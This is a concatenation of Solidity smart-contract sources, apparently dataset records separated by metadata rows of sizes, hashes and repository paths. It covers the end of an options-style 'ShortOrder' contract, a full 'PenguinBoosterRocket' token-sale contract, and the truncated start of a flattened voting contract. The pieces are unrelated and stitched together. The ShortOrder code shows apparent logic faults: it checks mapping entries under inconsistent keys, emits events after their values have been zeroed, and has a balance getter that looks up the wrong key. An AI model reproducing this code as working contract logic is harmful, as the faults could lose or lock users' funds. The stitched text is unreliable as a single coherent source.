event LongBought(address[2] sellerShort,uint[5] amountNonceExpiryDM,uint8 v,bytes32[3] hashRS,uint value);
event TokenLongExercised(address[2] tokenUser,uint[8] minMaxDMWCPNonce,uint8 v,bytes32[2] rs,uint couponAmount,uint amount);
event EthLongExercised(address[2] tokenUser,uint[8] minMaxDMWCPNonce,uint8 v,bytes32[2] rs,uint couponAmount,uint amount);
event DonationClaimed(address[2] tokenUser,uint[8] minMaxDMWCPNonce,uint8 v,bytes32[2] rs,uint coupon,uint balance);
event NonActivationWithdrawal(address[2] tokenUser,uint[8] minMaxDMWCPNonce,uint8 v,bytes32[2] rs,uint coupon);
event ActivationWithdrawal(address[2] tokenUser,uint[8] minMaxDMWCPNonce,uint8 v,bytes32[2] rs,uint balance);
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
function ShortOrder() {
admin = msg.sender;
}
function changeAdmin(address _admin) external onlyAdmin {
admin = _admin;
}
function tokenFulfillmentDeposit(address[2] tokenUser,uint amount,uint[8] minMaxDMWCPNonce,uint8 v,bytes32[2] rs) external {
bytes32 orderHash = keccak256 (tokenUser[0],
tokenUser[1],
minMaxDMWCPNonce[0],
minMaxDMWCPNonce[1],
minMaxDMWCPNonce[2],
minMaxDMWCPNonce[3],
minMaxDMWCPNonce[4],
minMaxDMWCPNonce[5],
minMaxDMWCPNonce[6],
minMaxDMWCPNonce[7]);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32",orderHash),v,rs[0],rs[1]) == msg.sender &&
block.number > minMaxDMWCPNonce[2] &&
block.number <= minMaxDMWCPNonce[3] &&
orderRecord[tokenUser[1]][orderHash].balance >= minMaxDMWCPNonce[0] &&
amount == safeMul(orderRecord[msg.sender][orderHash].balance,minMaxDMWCPNonce[6]) &&
!orderRecord[msg.sender][orderHash].tokenDeposit);
Token(tokenUser[0]).transferFrom(msg.sender,this,amount);
orderRecord[msg.sender][orderHash].shortBalance[tokenUser[0]] = safeAdd(orderRecord[msg.sender][orderHash].shortBalance[tokenUser[0]],amount);
orderRecord[msg.sender][orderHash].tokenDeposit = true;
TokenFulfillment(tokenUser,minMaxDMWCPNonce,v,rs,amount);
}
function depositCoupon(address[2] tokenUser,uint[8] minMaxDMWCPNonce,uint8 v,bytes32[2] rs) external payable {
bytes32 orderHash = keccak256 (tokenUser[0],
tokenUser[1],
minMaxDMWCPNonce[0],
minMaxDMWCPNonce[1],
minMaxDMWCPNonce[2],
minMaxDMWCPNonce[3],
minMaxDMWCPNonce[4],
minMaxDMWCPNonce[5],
minMaxDMWCPNonce[6],
minMaxDMWCPNonce[7]);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32",orderHash),v,rs[0],rs[1]) == msg.sender &&
msg.value == minMaxDMWCPNonce[5] &&
block.number <= minMaxDMWCPNonce[2]);
orderRecord[msg.sender][orderHash].coupon = safeAdd(orderRecord[msg.sender][orderHash].coupon,msg.value);
CouponDeposit(tokenUser,minMaxDMWCPNonce,v,rs,msg.value);
}
function placeLong(address[2] tokenUser,uint[8] minMaxDMWCPNonce,uint8 v,bytes32[2] rs) external payable {
bytes32 orderHash = keccak256 (tokenUser[0],
tokenUser[1],
minMaxDMWCPNonce[0],
minMaxDMWCPNonce[1],
minMaxDMWCPNonce[2],
minMaxDMWCPNonce[3],
minMaxDMWCPNonce[4],
minMaxDMWCPNonce[5],
minMaxDMWCPNonce[6],
minMaxDMWCPNonce[7]);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32",orderHash),v,rs[0],rs[1]) == tokenUser[1] &&
block.number <= minMaxDMWCPNonce[2] &&
orderRecord[tokenUser[1]][orderHash].coupon == minMaxDMWCPNonce[5] &&
orderRecord[tokenUser[1]][orderHash].balance <= minMaxDMWCPNonce[1]);
orderRecord[tokenUser[1]][orderHash].longBalance[msg.sender] = safeAdd(orderRecord[tokenUser[1]][orderHash].longBalance[msg.sender],msg.value);
orderRecord[tokenUser[1]][orderHash].balance = safeAdd(orderRecord[tokenUser[1]][orderHash].balance,msg.value);
LongPlace(tokenUser,minMaxDMWCPNonce,v,rs,msg.value);
}
function buyLong(address[2] sellerShort,uint[5] amountNonceExpiryDM,uint8 v,bytes32[3] hashRS) external payable {
bytes32 longTransferHash = keccak256 (sellerShort[0],
amountNonceExpiryDM[0],
amountNonceExpiryDM[1],
amountNonceExpiryDM[2]);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32",longTransferHash),v,hashRS[1],hashRS[2]) == sellerShort[1] &&
block.number > amountNonceExpiryDM[3] &&
block.number <= safeSub(amountNonceExpiryDM[4],amountNonceExpiryDM[2]) &&
msg.value == amountNonceExpiryDM[0]);
sellerShort[0].transfer(amountNonceExpiryDM[0]);
orderRecord[sellerShort[1]][hashRS[0]].longBalance[msg.sender] = orderRecord[sellerShort[1]][hashRS[0]].longBalance[sellerShort[0]];
orderRecord[sellerShort[1]][hashRS[0]].longBalance[sellerShort[0]] = uint(0);
LongBought(sellerShort,amountNonceExpiryDM,v,hashRS,amountNonceExpiryDM[0]);
}
function exerciseLong(address[2] tokenUser,uint[8] minMaxDMWCPNonce,uint8 v,bytes32[2] rs) external {
bytes32 orderHash = keccak256 (tokenUser[0],
tokenUser[1],
minMaxDMWCPNonce[0],
minMaxDMWCPNonce[1],
minMaxDMWCPNonce[2],
minMaxDMWCPNonce[3],
minMaxDMWCPNonce[4],
minMaxDMWCPNonce[5],
minMaxDMWCPNonce[6],
minMaxDMWCPNonce[7]);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32",orderHash),v,rs[0],rs[1]) == tokenUser[1] &&
block.number > minMaxDMWCPNonce[3] &&
block.number <= minMaxDMWCPNonce[4] &&
orderRecord[tokenUser[1]][orderHash].balance >= minMaxDMWCPNonce[0]);
uint couponProportion = safeDiv(orderRecord[tokenUser[1]][orderHash].longBalance[msg.sender],orderRecord[tokenUser[1]][orderHash].balance);
uint couponAmount;
if(orderRecord[msg.sender][orderHash].tokenDeposit) {
couponAmount = safeMul(orderRecord[tokenUser[1]][orderHash].coupon,couponProportion);
uint amount = safeMul(orderRecord[tokenUser[1]][orderHash].longBalance[msg.sender],minMaxDMWCPNonce[6]);
msg.sender.transfer(couponAmount);
Token(tokenUser[0]).transfer(msg.sender,amount);
orderRecord[tokenUser[1]][orderHash].coupon = safeSub(orderRecord[tokenUser[1]][orderHash].coupon,couponAmount);
orderRecord[tokenUser[1]][orderHash].balance = safeSub(orderRecord[tokenUser[1]][orderHash].balance,orderRecord[tokenUser[1]][orderHash].longBalance[msg.sender]);
orderRecord[tokenUser[1]][orderHash].shortBalance[tokenUser[0]] = safeSub(orderRecord[tokenUser[1]][orderHash].shortBalance[tokenUser[0]],amount);
orderRecord[tokenUser[1]][orderHash].longBalance[msg.sender] = uint(0);
TokenLongExercised(tokenUser,minMaxDMWCPNonce,v,rs,couponAmount,amount);
}
else if(!orderRecord[msg.sender][orderHash].tokenDeposit){
couponAmount = safeMul(orderRecord[tokenUser[1]][orderHash].coupon,couponProportion);
msg.sender.transfer(safeAdd(couponAmount,orderRecord[tokenUser[1]][orderHash].longBalance[msg.sender]));
orderRecord[tokenUser[1]][orderHash].coupon = safeSub(orderRecord[tokenUser[1]][orderHash].coupon,couponAmount);
orderRecord[tokenUser[1]][orderHash].balance = safeSub(orderRecord[tokenUser[1]][orderHash].balance,orderRecord[tokenUser[1]][orderHash].longBalance[msg.sender]);
orderRecord[tokenUser[1]][orderHash].longBalance[msg.sender] = uint(0);
EthLongExercised(tokenUser,minMaxDMWCPNonce,v,rs,couponAmount,orderRecord[tokenUser[1]][orderHash].longBalance[msg.sender]);
}
}
function claimDonations(address[2] tokenUser,uint[8] minMaxDMWCPNonce,uint8 v,bytes32[2] rs) external onlyAdmin {
bytes32 orderHash = keccak256 (tokenUser[0],
tokenUser[1],
minMaxDMWCPNonce[0],
minMaxDMWCPNonce[1],
minMaxDMWCPNonce[2],
minMaxDMWCPNonce[3],
minMaxDMWCPNonce[4],
minMaxDMWCPNonce[5],
minMaxDMWCPNonce[6],
minMaxDMWCPNonce[7]);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32",orderHash),v,rs[0],rs[1]) == tokenUser[1] &&
block.number > minMaxDMWCPNonce[4]);
admin.transfer(safeAdd(orderRecord[tokenUser[1]][orderHash].coupon,orderRecord[tokenUser[1]][orderHash].balance));
Token(tokenUser[0]).transfer(admin,orderRecord[tokenUser[1]][orderHash].shortBalance[tokenUser[0]]);
orderRecord[tokenUser[1]][orderHash].balance = uint(0);
orderRecord[tokenUser[1]][orderHash].coupon = uint(0);
orderRecord[tokenUser[1]][orderHash].shortBalance[tokenUser[0]] = uint(0);
DonationClaimed(tokenUser,minMaxDMWCPNonce,v,rs,orderRecord[tokenUser[1]][orderHash].coupon,orderRecord[tokenUser[1]][orderHash].balance);
}
function nonActivationShortWithdrawal(address[2] tokenUser,uint[8] minMaxDMWCPNonce,uint8 v,bytes32[2] rs) external {
bytes32 orderHash = keccak256 (tokenUser[0],
tokenUser[1],
minMaxDMWCPNonce[0],
minMaxDMWCPNonce[1],
minMaxDMWCPNonce[2],
minMaxDMWCPNonce[3],
minMaxDMWCPNonce[4],
minMaxDMWCPNonce[5],
minMaxDMWCPNonce[6],
minMaxDMWCPNonce[7]);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32",orderHash),v,rs[0],rs[1]) == msg.sender &&
block.number > minMaxDMWCPNonce[2] &&
orderRecord[tokenUser[1]][orderHash].balance < minMaxDMWCPNonce[0]);
msg.sender.transfer(orderRecord[msg.sender][orderHash].coupon);
orderRecord[msg.sender][orderHash].coupon = uint(0);
NonActivationWithdrawal(tokenUser,minMaxDMWCPNonce,v,rs,orderRecord[msg.sender][orderHash].coupon);
}
function nonActivationWithdrawal(address[2] tokenUser,uint[8] minMaxDMWCPNonce,uint8 v,bytes32[2] rs) external {
bytes32 orderHash = keccak256 (tokenUser[0],
tokenUser[1],
minMaxDMWCPNonce[0],
minMaxDMWCPNonce[1],
minMaxDMWCPNonce[2],
minMaxDMWCPNonce[3],
minMaxDMWCPNonce[4],
minMaxDMWCPNonce[5],
minMaxDMWCPNonce[6],
minMaxDMWCPNonce[7]);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32",orderHash),v,rs[0],rs[1]) == tokenUser[1] &&
block.number > minMaxDMWCPNonce[2] &&
block.number <= minMaxDMWCPNonce[4] &&
orderRecord[tokenUser[1]][orderHash].balance < minMaxDMWCPNonce[0]);
msg.sender.transfer(orderRecord[tokenUser[1]][orderHash].longBalance[msg.sender]);
orderRecord[tokenUser[1]][orderHash].balance = safeSub(orderRecord[tokenUser[1]][orderHash].balance,orderRecord[tokenUser[1]][orderHash].longBalance[msg.sender]);
orderRecord[tokenUser[1]][orderHash].longBalance[msg.sender] = uint(0);
ActivationWithdrawal(tokenUser,minMaxDMWCPNonce,v,rs,orderRecord[tokenUser[1]][orderHash].longBalance[msg.sender]);
}
function returnBalance(address[2] tokenUser,uint[8] minMaxDMWCPNonce,uint8 v,bytes32[2] rs) external constant returns (uint) {
bytes32 orderHash = keccak256 (tokenUser[0],
tokenUser[1],
minMaxDMWCPNonce[0],
minMaxDMWCPNonce[1],
minMaxDMWCPNonce[2],
minMaxDMWCPNonce[3],
minMaxDMWCPNonce[4],
minMaxDMWCPNonce[5],
minMaxDMWCPNonce[6],
minMaxDMWCPNonce[7]);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32",orderHash),v,rs[0],rs[1]) == tokenUser[1]);
return orderRecord[tokenUser[1]][orderHash].balance;
}
function returnTokenBalance(address[2] tokenUser,uint[8] minMaxDMWCPNonce,uint8 v,bytes32[2] rs) external constant returns (uint) {
bytes32 orderHash = keccak256 (tokenUser[0],
tokenUser[1],
minMaxDMWCPNonce[0],
minMaxDMWCPNonce[1],
minMaxDMWCPNonce[2],
minMaxDMWCPNonce[3],
minMaxDMWCPNonce[4],
minMaxDMWCPNonce[5],
minMaxDMWCPNonce[6],
minMaxDMWCPNonce[7]);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32",orderHash),v,rs[0],rs[1]) == tokenUser[1]);
return orderRecord[tokenUser[1]][orderHash].shortBalance[tokenUser[1]];
}
function returnUserBalance(address _user,address[2] tokenUser,uint[8] minMaxDMWCPNonce,uint8 v,bytes32[2] rs) external constant returns (uint) {
bytes32 orderHash = keccak256 (tokenUser[0],
tokenUser[1],
minMaxDMWCPNonce[0],
minMaxDMWCPNonce[1],
minMaxDMWCPNonce[2],
minMaxDMWCPNonce[3],
minMaxDMWCPNonce[4],
minMaxDMWCPNonce[5],
minMaxDMWCPNonce[6],
minMaxDMWCPNonce[7]);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32",orderHash),v,rs[0],rs[1]) == tokenUser[1]);
return orderRecord[tokenUser[1]][orderHash].longBalance[_user];
}
function returnCoupon(address[2] tokenUser,uint[8] minMaxDMWCPNonce,uint8 v,bytes32[2] rs) external constant returns (uint) {
bytes32 orderHash = keccak256 (tokenUser[0],
tokenUser[1],
minMaxDMWCPNonce[0],
minMaxDMWCPNonce[1],
minMaxDMWCPNonce[2],
minMaxDMWCPNonce[3],
minMaxDMWCPNonce[4],
minMaxDMWCPNonce[5],
minMaxDMWCPNonce[6],
minMaxDMWCPNonce[7]);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32",orderHash),v,rs[0],rs[1]) == tokenUser[1]);
return orderRecord[tokenUser[1]][orderHash].coupon;
}
function returnTokenDepositState(address[2] tokenUser,uint[8] minMaxDMWCPNonce,uint8 v,bytes32[2] rs) external constant returns (bool) {
bytes32 orderHash = keccak256 (tokenUser[0],
tokenUser[1],
minMaxDMWCPNonce[0],
minMaxDMWCPNonce[1],
minMaxDMWCPNonce[2],
minMaxDMWCPNonce[3],
minMaxDMWCPNonce[4],
minMaxDMWCPNonce[5],
minMaxDMWCPNonce[6],
minMaxDMWCPNonce[7]);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32",orderHash),v,rs[0],rs[1]) == tokenUser[1]);
return orderRecord[tokenUser[1]][orderHash].tokenDeposit;
}
function returnHash(address[2] tokenUser,uint[8] minMaxDMWCPNonce) external pure returns (bytes32) {
return
keccak256 (tokenUser[0],
tokenUser[1],
minMaxDMWCPNonce[0],
minMaxDMWCPNonce[1],
minMaxDMWCPNonce[2],
minMaxDMWCPNonce[3],
minMaxDMWCPNonce[4],
minMaxDMWCPNonce[5],
minMaxDMWCPNonce[6],
minMaxDMWCPNonce[7]);
}
function returnAddress(bytes32 orderHash,uint8 v,bytes32[2] rs) external pure returns (address) {
return ecrecover(orderHash,v,rs[0],rs[1]);
}
function returnHashLong(address seller,uint[3] amountNonceExpiry) external pure returns (bytes32) {
return keccak256(seller,amountNonceExpiry[0],amountNonceExpiry[1],amountNonceExpiry[2]);
}
function returnLongAddress(bytes32 orderHash,uint8 v,bytes32[2] rs) external pure returns (address) {
return ecrecover(orderHash,v,rs[0],rs[1]);
}
}
| 210,045 | 13,492 |
ec3861c1b116afa393ba6ed5293c9ab8b7fac57a9ad96d7eeaef0dca32b5dbb4
| 22,326 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/80/804ef952eea083226c5149a9d6d1422b1cb11c6e_PenguinBoosterRocket.sol
| 3,878 | 16,451 |
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.7;
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
modifier onlyOwner() {
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface IAllocationController {
function penguinTiers(address penguinAddress) external view returns(uint8);
function allocations(address penguinAddress) external view returns(uint256);
function totalAllocations() external view returns(uint256);
}
contract PenguinBoosterRocket is Ownable {
using SafeERC20 for IERC20;
//token for event
IERC20 public tokenForDistribution;
//token to be used for payment
IERC20 public tokenToPay;
//contract that can controls allocations
address public allocationController;
//amount of tokenToPay that buys an entire tokenForDistribution
uint256 public exchangeRateWholeToken;
//divisor for exchange rate. set in constructor equal to 10**decimals of tokenForDistribution
uint256 public immutable exchangeRateDivisor;
uint256 public immutable allocationRate;
//UTC timestamp of event start
uint256 public eventStart;
//UTC timestamp of event end
uint256 public eventEnd;
//set in BIPS. can be adjusted up to allow all addresses to purchase more tokens
uint256 public allocationMultiplierBIPS;
//tracks sum of all tokens sold
uint256 public totalTokensSold;
//tracks sum of proceeds collated in tokenToPay from all token sales
uint256 public totalProceeds;
//determines if exchange rate is adjustable or fixed
bool public adjustableExchangeRate;
//determines if start/end times can be adjusted, or if they are fixed
bool public adjustableTiming;
//determines if allocationMultiplierBIPS is adjustable or fixed at 1
bool public adjustableAllocationMultiplierBIPS;
//amount of tokens purchased by each address
mapping(address => uint256) public tokensPurchased;
//discount amounts for tiers in BIPS
uint256[4] public discountBIPS;
//Keeps track of wether a user has agreed to the terms and conditions or not.
mapping(address => bool) public hasAgreedToTermsAndConditions;
//special testing mapping
mapping(address => bool) public testingWhitelist;
event TokensPurchased(address indexed buyer, uint256 amountPurchased);
event ExchangeRateSet(uint256 newExchangeRate);
event AllocationMultiplierBIPSIncreased(uint256 newMultiplier);
event AgreedToTermsAndConditions(address userThatAgreed, bool hasAgreed, uint256 block_timestamp);
//checks to see if purchase is allowed
modifier checkPurchase(address buyer, uint256 amountToBuy) {
require(eventOngoing() || testingWhitelist[buyer],"event not ongoing");
require(canPurchase(buyer) >= amountToBuy, "you cannot buy this many tokens");
require(amountToBuy <= tokensLeftToDistribute(), "amountToBuy exceeds contract balance");
_;
}
constructor(IERC20 tokenForDistribution_,
IERC20 tokenToPay_,
uint256 eventStart_,
uint256 eventEnd_,
uint256 exchangeRateWholeToken_,
uint256 allocationRate_,
address allocationController_,
bool adjustableExchangeRate_,
bool adjustableTiming_,
bool adjustableAllocationMultiplierBIPS_) {
require(eventStart_ > block.timestamp, "event must start in future");
require(eventStart_ < eventEnd_, "event must start before it ends");
tokenForDistribution = tokenForDistribution_;
tokenToPay = tokenToPay_;
eventStart = eventStart_;
eventEnd = eventEnd_;
exchangeRateWholeToken = exchangeRateWholeToken_;
emit ExchangeRateSet(exchangeRateWholeToken_);
exchangeRateDivisor = 10**(tokenForDistribution.decimals());
allocationRate = allocationRate_; //REMINDER: this is scaled up by 1e18
allocationController = allocationController_;
adjustableExchangeRate = adjustableExchangeRate_;
adjustableTiming = adjustableTiming_;
adjustableAllocationMultiplierBIPS = adjustableAllocationMultiplierBIPS_;
allocationMultiplierBIPS = 10000; //starts as multiplier of 1
emit AllocationMultiplierBIPSIncreased(10000);
discountBIPS = [0, 0, 0, 0];
}
//PUBLIC (VIEW) FUNCTIONS
function eventStarted() public view returns(bool) {
return(block.timestamp >= eventStart);
}
function eventEnded() public view returns(bool) {
return(block.timestamp > eventEnd);
}
function eventOngoing() public view returns(bool) {
return(eventStarted() && !eventEnded());
}
//get amount of tokens buyer can purchase
function canPurchase(address penguinAddress) public view returns(uint256) {
uint256 allocation = IAllocationController(allocationController).allocations(penguinAddress);
return(((allocation * allocationRate * allocationMultiplierBIPS) / 10000) / 1e18 - tokensPurchased[penguinAddress]);
}
//find amount of tokenToPay needed to buy amountToBuy of tokenForDistribution
function findAmountToPay(uint256 amountToBuy, address penguinAddress) public view returns(uint256) {
uint8 userTier = IAllocationController(allocationController).penguinTiers(penguinAddress);
if(userTier > 0) {
userTier -= 1;
}
uint256 discount = discountBIPS[userTier];
uint256 amountToPay = ((amountToBuy * exchangeRateWholeToken * (10000 - discount)) / 10000) / exchangeRateDivisor;
return amountToPay;
}
function tokensLeftToDistribute() public view returns(uint256) {
return tokenForDistribution.balanceOf(address(this));
}
function hasTheUserAgreed(address _user) public view returns(bool) {
return hasAgreedToTermsAndConditions[_user];
}
//PUBLIC FUNCTIONS
function agreeToTermsAndConditions() public {
if (hasAgreedToTermsAndConditions[msg.sender]){
return;
}
else {
hasAgreedToTermsAndConditions[msg.sender] = true;
emit AgreedToTermsAndConditions(msg.sender, hasAgreedToTermsAndConditions[msg.sender], block.timestamp);
}
}
//EXTERNAL FUNCTIONS
function purchaseTokens(uint256 amountToBuy) external checkPurchase(msg.sender, amountToBuy) {
agreeToTermsAndConditions();
require(amountToBuy > 0);
_processPurchase(msg.sender, amountToBuy);
}
//OWNER-ONLY FUNCTIONS
function adjustStart(uint256 newStartTime) external onlyOwner {
require(adjustableTiming, "timing is not adjustable");
require(!eventOngoing(), "cannot adjust start while event ongoing");
require(newStartTime < eventEnd, "event must start before it ends");
require(newStartTime > block.timestamp, "event must start in future");
eventStart = newStartTime;
}
function adjustEnd(uint256 newEndTime) external onlyOwner {
require(adjustableTiming, "timing is not adjustable");
require(eventStart < newEndTime, "event must start before it ends");
eventEnd = newEndTime;
}
function adjustExchangeRate(uint256 newExchangeRate) external onlyOwner {
require(adjustableExchangeRate, "exchange rate is not adjustable");
exchangeRateWholeToken = newExchangeRate;
emit ExchangeRateSet(newExchangeRate);
}
function increaseAllocationMultiplierBIPS(uint256 newAllocationMultiplierBIPS) external onlyOwner {
require(adjustableAllocationMultiplierBIPS, "allocationMultiplierBIPS is not adjustable");
require(newAllocationMultiplierBIPS > allocationMultiplierBIPS, "can only increase multiplier");
allocationMultiplierBIPS = newAllocationMultiplierBIPS;
emit AllocationMultiplierBIPSIncreased(newAllocationMultiplierBIPS);
}
function withdrawDistributionProceeds(address dest) external onlyOwner {
uint256 toSend = tokenToPay.balanceOf(address(this));
tokenToPay.safeTransfer(dest, toSend);
}
function withdrawUnsoldTokens(address dest) external onlyOwner {
uint256 toSend = tokenForDistribution.balanceOf(address(this));
tokenForDistribution.safeTransfer(dest, toSend);
}
function addToTestingWhitelist(address tester) external onlyOwner {
testingWhitelist[tester] = true;
}
//INTERNAL FUNCTIONS
function _processPurchase(address penguinAddress, uint256 amountToBuy) internal {
uint256 amountToPay = findAmountToPay(amountToBuy, penguinAddress);
totalProceeds += amountToPay;
tokenForDistribution.safeTransfer(penguinAddress, amountToBuy);
totalTokensSold += amountToBuy;
tokensPurchased[penguinAddress] += amountToBuy;
emit TokensPurchased(penguinAddress, amountToBuy);
tokenToPay.safeTransferFrom(penguinAddress, address(this), amountToPay);
}
}
| 83,982 | 13,493 |
9d22dd1901af7b76e406b82350a3843b0368a82661807dd625b7c6cc722bcced
| 41,175 |
.sol
|
Solidity
| false |
366468716
|
idexo/ido-contracts
|
4c4f94bee4c80579c1cfb53a0c09ada5bb265aad
|
flattened/MultipleVotingFlattened.sol
| 5,586 | 20,989 |
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
library Counters {
struct Counter {
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
interface IAccessControl {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping (address => bool) members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
